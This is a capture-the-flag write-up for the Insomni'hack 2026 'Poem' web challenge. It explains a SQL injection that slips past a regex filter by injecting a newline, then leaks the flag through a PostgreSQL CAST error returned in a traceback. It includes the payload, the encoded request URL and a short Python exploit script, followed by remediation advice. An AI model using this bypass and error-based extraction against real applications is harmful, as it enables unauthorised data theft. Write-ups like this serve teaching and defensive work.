writeups.ipynb[autosaved]
Idle
FR
Code
← Writeups
Insomni'hack 2026·Web·Medium
·5 min read

Insomni'hack 2026 — Poem

SQLi via WAF Bypass using newline injection.

websqliwaf-bypass

Poem CTF — SQLi via WAF Bypass (Newline Injection)

Challenge: Poem · Event: Insomni'hack · Category: Web · Difficulty: Medium
Flag: INS{r3g3x-ftw-0r-ftl-6df05b64-8add-4738-8237-aa4f96760723}


TL;DR

The /poem/<poem_id> route interpolates user input directly into a SQL query. A regex-based WAF blocks common SQL keywords, but it uses re.fullmatch without re.DOTALL, meaning . doesn't match \n. Injecting %0A (newline) into the path bypasses the WAF entirely. From there, an error-based CAST injection leaks the protected flag from the database traceback.


1. Reconnaissance

The application exposes a simple endpoint:

GET /poem/<poem_id>

Requesting /poem/1 through /poem/6 returns poems normally. However, /poem/7 returns a 403 Forbidden — a clear hint that something interesting lives there.


2. Source Code Analysis

2.1 SQL Query Construction

The route handler builds the query via string interpolation — a textbook SQL injection sink:

query = f"SELECT * FROM poem WHERE poem.id='{poem_id}'"

2.2 The WAF (Blacklist Filter)

Before executing the query, a regex-based Web Application Firewall checks the input:

re.fullmatch(r".*(SELECT|INSERT|UPDATE|DELETE|DROP|--|;|').*", poem_id, re.IGNORECASE)

If the pattern matches, the request is rejected with a 400 Bad Request.

2.3 The Secondary Check

After the query, a Python-side check also guards poem 7:

int(poem_id) == 7  # → returns 403

2.4 Error Handling

The app catches non-HTTP exceptions and returns the full Python traceback to the client — including any PostgreSQL error messages:

except Exception:
    return traceback.format_exc(), 500

This is the key to exfiltrating data via error-based injection.


3. Identifying the Vulnerability

The WAF regex uses re.fullmatch with no re.DOTALL flag. In Python's re module, the . metacharacter matches any character except \n by default. This means a payload that includes a literal newline (\n / %0A) can smuggle blocked keywords past the filter.

Quick local proof:

import re

payload = "1\n' OR 1=1 --"
pattern = r".*(SELECT|INSERT|UPDATE|DELETE|DROP|--|;|').*"

result = re.fullmatch(pattern, payload, re.IGNORECASE)
print(result)  # → None (bypass successful)

The . can't cross the newline boundary, so the regex never "sees" the ' or -- on the second line.


4. Crafting the Exploit

4.1 Why Simple OR 1=1 Fails

A basic tautology injection like:

/poem/1%0A%27%20OR%201=1%20--

does bypass the WAF, but the application then calls int(poem_id) on the raw path parameter. Since "1\n' OR 1=1 --" isn't a valid integer, we get a ValueError — not the data we want.

The trick: we need the database to error out before Python's int() runs, and we need that database error to contain the flag.

4.2 Error-Based Extraction via CAST

PostgreSQL's CAST(... AS integer) will throw a DataError if the value isn't numeric — and the error message includes the value it tried to cast. If we cast the flag (a string) to an integer, PostgreSQL will helpfully include the flag text in its error message, which the app's traceback handler dutifully returns to us.

4.3 Final Payload

%0A' AND 1=CAST((SELECT content FROM poem WHERE id=7) AS integer) --

Broken down with newlines for readability:

-- poem_id becomes:
\n' AND 1=CAST((
SELECT content FROM poem WHERE id=7
) AS integer) --

The resulting SQL executed by the server:

SELECT * FROM poem WHERE poem.id='
' AND 1=CAST((SELECT content FROM poem WHERE id=7) AS integer) --'

Step by step:

  1. poem.id='\n' → evaluates to false (no match), but AND still forces evaluation of the right side.
  2. CAST((SELECT content FROM poem WHERE id=7) AS integer) → PostgreSQL fetches the flag, tries to cast it to integer, and fails because the flag is a string.
  3. The resulting DataError contains the flag value in its message.
  4. The app's catch-all error handler returns the full traceback (with the flag) as a 500 response.
  5. -- comments out the trailing quote.

5. Exploitation

Request

GET /poem/1%0A%27%20AND%201=CAST((SELECT%20content%20FROM%20poem%20WHERE%20id=7)%20AS%20integer)%20-- HTTP/1.1
Host: poem.insomnihack.ch:5000

Full URL

https://poem.insomnihack.ch:5000/poem/1%0A%27%20AND%201=CAST((SELECT%20content%20FROM%20poem%20WHERE%20id=7)%20AS%20integer)%20--

Response (500 — truncated)

The traceback includes the PostgreSQL error:

psycopg2.errors.InvalidTextRepresentation: invalid input syntax for type integer:
  "INS{r3g3x-ftw-0r-ftl-6df05b64-8add-4738-8237-aa4f96760723}"

6. Flag

INS{r3g3x-ftw-0r-ftl-6df05b64-8add-4738-8237-aa4f96760723}

7. Exploit Script

#!/usr/bin/env python3
import requests
import urllib.parse

BASE_URL = "https://poem.insomnihack.ch:5000"

payload = "\n' AND 1=CAST((\nSELECT content FROM poem WHERE id=7\n) AS integer) --"
encoded = urllib.parse.quote(payload, safe="= ")
url = f"{BASE_URL}/poem/{encoded}"

print(f"[*] URL: {url}")
resp = requests.get(url, verify=False)
print(f"[*] Status: {resp.status_code}")
print(f"[*] Response:\n{resp.text[:2000]}")

8. Remediation

Three independent fixes would each prevent this attack:

IssueFix
SQL injectionUse parameterized queries (%s placeholders with psycopg2) instead of f-strings.
WAF bypassAdd re.DOTALL to the regex so . matches newlines — or better yet, drop the regex WAF entirely in favor of parameterized queries.
Traceback leakNever return traceback.format_exc() to the client. Use a generic error page in production.

9. Key Takeaways

  • Regex WAFs are fragile. A single missing flag (re.DOTALL) turns a blacklist into a suggestion. Always prefer allowlists or parameterized queries.
  • Error-based SQLi is powerful. When an app returns raw database errors, attackers can extract arbitrary data without needing UNION SELECT or blind techniques.
  • Defense in depth matters. If any one of the three issues above had been fixed, the attack chain would have broken.